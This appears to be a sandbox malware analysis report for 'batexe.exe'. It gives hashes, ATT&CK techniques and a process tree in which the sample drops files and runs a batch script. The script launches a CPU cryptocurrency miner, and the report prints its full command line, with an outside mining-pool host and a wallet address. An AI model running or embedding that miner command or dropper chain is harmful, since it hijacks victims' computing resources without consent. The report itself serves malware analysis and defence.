73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
297s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
12/02/2024, 13:02

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General

Target
batexe.exe
Size 9.4MB
Sample240212-p95b2afg68
SHA256 73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
MD5 cdc9eacffc6d2bf43153815043064427
SHA1 d05101f265f6ea87e18793ab0071f5c99edf363f
SHA512 fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP 196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3628	b2e.exe
2372	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2372	cpuminer-sse2.exe
2372	cpuminer-sse2.exe
2372	cpuminer-sse2.exe
2372	cpuminer-sse2.exe
2372	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2176-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2176 wrote to memory of 3628	2176	batexe.exe	84
PID 2176 wrote to memory of 3628	2176	batexe.exe	84
PID 2176 wrote to memory of 3628	2176	batexe.exe	84
PID 3628 wrote to memory of 4756	3628	b2e.exe	85
PID 3628 wrote to memory of 4756	3628	b2e.exe	85
PID 3628 wrote to memory of 4756	3628	b2e.exe	85
PID 4756 wrote to memory of 2372	4756	cmd.exe	88
PID 4756 wrote to memory of 2372	4756	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2176
- C:\Users\Admin\AppData\Local\Temp\5A84.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5A84.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5A84.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3628
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5D91.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4756
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2372

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\5A84.tmp\b2e.exe
Size 15.4MB
SHA256 036dd71827ca47203d0784d77b1456c6a51b2544d06773133ee9f55c1574a917
MD5 6ba6739b20870d9b66c6c1be9bbf3917
SHA1 e4314f8c3670100acbe4f06ab3d7f33d9b739b64
SHA512 117cbe67e01c4cb40156a3876c3096afc7a992c8c5b2f3a079b4cc47233babe04e5c7895aa97b76233282c5b78157be8203d46916adaa843cce49760eb690a89
SSDEEP 98304:2Vh7J/WrocAdkmBtKCLaDr/4Q8FD9Ck6jBVFh0ulRm6eqdInEgNf/4+eQhyYlkBl:wWrJQ9CuKdIncRBGvwPHD/bfOm
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\5A84.tmp\b2e.exe
Size 6.9MB
SHA256 716d113317a05843fec3550705a76e9a66fa9b80f1cca9b2fd43014f9a191756
MD5 7c5c95fc0e0425b3bfc5a23b69065944
SHA1 821a7352d7d677292b9e4853056e0a26231424b1
SHA512 453d1b9a6fd25291e4c039f361c6ca30f3911de08d6be2d1bb11d076913e64c81c621b9a2cc2b84cefad33ee2b91cc1b3ff96d5dadbbbdb6fa6d046e54591160
SSDEEP 98304:2Vh7J/WrocAdkmBtKCLaDr/4Q8FD9Ck6jB0:wWrJQ9Co
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\5A84.tmp\b2e.exe
Size 6.7MB
SHA256 29206896f823e36f52aee7dff1bf1a4516a71c0f9577b542cdb93bbf9c092173
MD5 804e5e2d2630dc0a9fc8bffcdbfbff2e
SHA1 169ef52780e7ec08109794099b12b1c151c1a94e
SHA512 962f034d8d95fd8d92908103126da03ec9a445fc43e6a0d4ec5be27d0983aa850d0b189b0f7e53f87f573d9d0b9eaafc7d27aaae440cc463b17aedb9b89990ca
SSDEEP 49152:HWVh7Fj/WrXYcatDRddBuqw/LLpGokJsThPz8rJG9nSti9/KKJSusjtZPPxtSVJf:2Vh7J/WrocAdkmBtKCLaDr/4Q8FD9Cj
MD5 SHA1 SHA512 SSDEEP

Submit Download

batchfile.bat

Path C:\Users\Admin\AppData\Local\Temp\5D91.tmp\batchfile.bat
Size 136B
SHA256 65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
MD5 8ea7ac72a10251ecfb42ef4a88bd330a
SHA1 c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA512 a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
MD5 SHA1 SHA512

Submit Download

cpuminer-sse2.exe

Path C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
Size 2.3MB
SHA256 c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd
MD5 4c04147c386ba8792ac6a03069572a8a
SHA1 dda67789fc1d0f2469ca95f01a5c81034853ca6a
SHA512 a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db
SSDEEP 49152:Wkpplb/LHkmgDlX3+57Uad1bBLTqgC+JZchTbO8rLG:xvN/LOOh6
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcurl-4.dll

Path C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll
Size 836KB
SHA256 218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
MD5 aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA1 5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA512 c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
SSDEEP 24576:xufMF9VdLNrjhHdLI8cUlOb1w4yYhJWOrXQB:cfMFhBr19LI87lOb1w4IOrXQB
MD5 SHA1 SHA512 SSDEEP

Submit Download

libgcc_s_seh-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll
Size 1.2MB
SHA256 c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
MD5 7cf672bee2afba2dcd0c031ff985958e
SHA1 6b82a205db080ffdcb4a4470fce85a14413f3217
SHA512 3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
SSDEEP 12288:ynYk4yH15191n1q1x1c1vw6t8a1/hKhbhdhvh3hY6Dhch3hhCZ1c1eCJ1MC1+1MH:mnKt/wDm1nazZffMMcUvQlRg3J6f1SGK
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 2.9MB
SHA256 a9190158d575ccd04cd992d45282d4a9254d62cce2e325216f06bece8fbf4bff
MD5 15bbe1e8aa36bd041ef374e4a718b3ff
SHA1 aeecafa9b469b1817448cceb28fa01383c6911cd
SHA512 4bc9647fc6d8de56eecc627c487d795d374f2da7a71b6b09bdfa9e518cb67fe12d5d0eeb13ff83c7a38eb41acfdf44b5397087c60c3542cbe3215969551f076a
SSDEEP 49152:Dv+Gatwo2ZyrgBltFzFsCt2Hbsugpzk8sZg920ipTqP3eAZ6yd0:DGGvDsCt2HINpzk8sZg920ipTqP3eA90
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 4.5MB
SHA256 004890c2b2ee58b88155717dc75496132269cf3861bf0236277e3ce596f4997a
MD5 58ff7de09175407e758168774c2dcbaa
SHA1 5624fcc38e5d9d5cd6d198d96d59679e4ac94629
SHA512 840c5a33bedd01dea9af6c61380420c3577ee2110d6df932c775c9c488e36250807c3db5870f5e118727c74e91a9b97c64bb5a5b1e44762eaa19eb902291f6ae
SSDEEP 98304:DGGvDsCt2HINpzk8sZg920ipTqP3eA9J8a6iv:DGGvJ3fv
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 4.2MB
SHA256 9fca5fadb67c66434155fe49f48d364b32ce296dbf1471d9e40e7ab7101082fa
MD5 8a5f5646c894e0890d568100694a09bf
SHA1 913e5120aef8e89944b5c91cc16a88e79bc732b4
SHA512 980208298e03dced73202f184e9c77779daef850a2ad69f26fd63fb6cae0c6e369f7bf4565527fad78125512cb4a5a2d93b1020c2db80e0f2900823bd9bc5be8
SSDEEP 98304:DGGvDsCt2HINpzk8sZg920ipTqP3eA9J8aH:DGGvJ3L
MD5 SHA1 SHA512 SSDEEP

Submit Download

libwinpthread-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll
Size 606KB
SHA256 2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
MD5 585efec1bc1d4d916a4402c9875dff75
SHA1 d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA512 b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770
SSDEEP 12288:IrAim3Y9lrzf34z//KRwwtkIr1PznEcyJwV2Zug8UYWTh4x:IrAim3Y9lrzf34z//KRwwtkIr1PzEcy8
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2176-9-0x0000000000400000-0x000000000393A000-memory.dmp

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memory/2372-45-0x0000000061440000-0x000000006156B000-memory.dmp

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memory/2372-64-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2372-104-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2372-44-0x0000000070800000-0x00000000708BC000-memory.dmp

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memory/2372-46-0x0000000064990000-0x0000000064A28000-memory.dmp

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memory/2372-47-0x0000000001130000-0x00000000029E5000-memory.dmp

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memory/2372-48-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2372-99-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2372-59-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2372-43-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2372-69-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2372-74-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2372-79-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2372-89-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2372-94-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/3628-53-0x0000000000400000-0x0000000000405000-memory.dmp

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memory/3628-7-0x0000000000400000-0x0000000000405000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads